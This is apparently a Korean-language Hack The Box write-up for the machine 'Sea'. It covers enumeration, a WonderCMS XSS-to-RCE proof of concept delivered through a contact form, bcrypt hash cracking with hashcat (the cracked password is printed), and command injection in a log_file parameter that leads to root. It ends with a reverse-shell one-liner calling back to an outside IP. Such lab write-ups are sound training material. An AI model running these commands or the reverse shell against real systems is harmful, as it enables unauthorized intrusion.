nmap
먼저 nmap을 실행해 포트를 확인한다.
nmap -sCV -Pn --min-rate 5000 -p- $IP -oN nmap_$IP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-28 03:29 EDT
Nmap scan report for 10.10.11.28
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e3:54:e0:72:20:3c:01:42:93:d1:66:9d:90:0c:ab:e8 (RSA)
| 256 f3:24:4b:08:aa:51:9d:56:15:3d:67:56:74:7c:20:38 (ECDSA)
|_ 256 30:b1:05:c6:41:50:ff:22:a3:7f:41:06:0e:67:fd:50 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Sea - Home
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ssh와 웹서버가 열려있는 것을 확인.
또 한가지는 httponly가 설정이 안되어있기 때문에 javascript로 xss가 가능할지도 모른다.
웹서버
먼저 웹서버를 살펴본다.
curl -I http://$IP
HTTP/1.0 200 OK
Date: Wed, 28 May 2025 00:34:04 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=kohdb5eel7ruasjkuqe071v1k9; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
php를 사용하는 것을 확인.
웹페이지는 접속해보면 아래와 같다.
페이지를 둘러보다보면 How to participate부분에 contact의 링크를 찾을 수 있는데, 누르면 아래와 같은 폼이 나타난다.
dns가 나오기 때문에 /etc/hosts 파일에 dns를 추가해준다.
여러가지 시도해봐도 폼에 별다른 취약점은 없는 듯 하다.
디렉토리를 찾아본다.
feroxbuster -u http://sea.htb/
301 GET 7l 20w 232c http://10.10.11.28/data => http://10.10.11.28/data/ 301 GET 7l 20w 235c http://10.10.11.28/plugins => http://10.10.11.28/plugins/ 301 GET 7l 20w 234c http://10.10.11.28/themes => http://10.10.11.28/themes/ 301 GET 7l 20w 236c http://10.10.11.28/messages => http://10.10.11.28/messages/ 301 GET 7l 20w 239c http://10.10.11.28/themes/bike => http://10.10.11.28/themes/bike/301 GET 7l 20w 243c http://10.10.11.28/themes/bike/css => http://10.10.11.28/themes/bike/css/200 GET 1l 1w 6c http://10.10.11.28/themes/bike/version 200 GET 21l 168w 1067c http://10.10.11.28/themes/bike/LICENSE 200 GET 1l 9w 66c http://10.10.11.28/themes/bike/summary [###########>--------] - 3m 125877/210018 3m found:9 errors:3524 [####################] - 5m 210018/210018 0s found:9 errors:5843
[####################] - 4m 30000/30000 113/s http://10.10.11.28/
[####################] - 5m 30000/30000 111/s http://10.10.11.28/data/
[####################] - 4m 30000/30000 114/s http://10.10.11.28/plugins/
[####################] - 4m 30000/30000 114/s http://10.10.11.28/themes/
[####################] - 4m 30000/30000 114/s http://10.10.11.28/messages/
[####################] - 4m 30000/30000 117/s http://10.10.11.28/themes/bike/
[####################] - 4m 30000/30000 121/s http://10.10.11.28/themes/bike/css/
/themes/bike
부분에 여러가지가 검색됐다. /version
을 확인해봤다.
3.2.0이라고 무언가의 버전이 적혀있다.
그 다음 /LICENSE
를 살펴봤다.
turboblack이라는 유저가 나와서 구글에 검색해봤다.
검색했더니 wonderCMS 라는 툴을 발견했다.
wonderCMS와 버전정보로 취약점이 있는지 검색했더니 아래와 같은 CVE가 있었다.
poc를 다운로드 한 후 실행.
초기진입
poc를 실행하면 공격용 링크가 출력되는데 이걸 admin에게 보내라는 메세지가 나온다.
관리자가 클릭해 동작을 유도하는 xss 공격으로 보인다.
이 링크를 어떻게 관리자가 클릭하게 해야하는지 도통 알 수가 없었다.
그러다 contact 폼에 website 링크를 적는 부분이 있었던 것을 기억해냈다.
poc를 실행해서 출력된 링크를 website 부분에 입력하고 제출하고 좀 기다리면 리스닝하고 있던 포트로 리버스쉘이 연결됐다.
Lateral movement
www-data 유저로 연결되지만 권한이 없어 유저의 플래그를 확인할 수 없다.
파일들을 살펴보면 /var/www/sea/data/database.js
디렉토리에 패스워드의 해쉬가 저장되어있는 것을 발견.
"password": "$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ\/D.GuE4jRIikYiWrD3TM\/PjDnXm4q"
위의 값을 모드 3200으로 두고 크랙킹을 해봤으나 계속 실패했다.
hashcat -a 0 -m 3200 hash /usr/share/wordlist/rockyou.txt
좀 헤매다가 해쉬값을 다시보니 이스케이프 문자가 들어있었다! \
이스케이프 부문을 지우고 다시 크랙킹을 하니 비밀번호가 나왔다.
$2y$10$iOrk210RQSAzNCx6Vyq2X.aJ/D.GuE4jRIikYiWrD3TM/PjDnXm4q:mychemicalromance
이걸로 유저 amay로 접속, 플래그 획득.
권한상승
netstat -ntlp
로 리스닝 중인 포트 확인.
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:45605 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
8080번 포트가 있는 것을 확인.
체크하기 위해 우선 포트 포워딩을 설정.
ssh -N -L localhost:8888:localhost:8080 amay@10.10.11.28
위의 설정으로 로컬 머신의 8888번 포트가 타겟 머신의 8080번 포트와 연결.
웹서버
웹서버에 접속하면 아래와 같은 페이지가 나온다.
개발자모드에 놓고 리퀘스트를 보내보면 log_file 이라는 파라미터가 있는 걸 발견했다.
이 부분을 이용하기 위해 burpsuite로 리퀘스트를 수정.
커맨드 인젝션을 테스트해봤다.
+
는 띄어쓰기를 의미하고 burp에서 원하는 부분을 드래그 후 ctrl + u
로 간단하게 url 인코딩 할 수 있다.
위와 같이 리퀘스트를 보내면 커맨드가 실행됐다는 걸 확인 할 수 있다.
리버스쉘 커맨드를 입력하고 리퀘스트를 보내면 root로 쉘이 연결된다.
이때 쉘이 불안정해서 자꾸 끊기는데, 아래와 같이 맨 처음과 맨 마지막에 nohup
과 &
를 추가하면 고쳐진다.
nohup bash -i >& /dev/tcp/10.10.14.8/9001 0>&1 &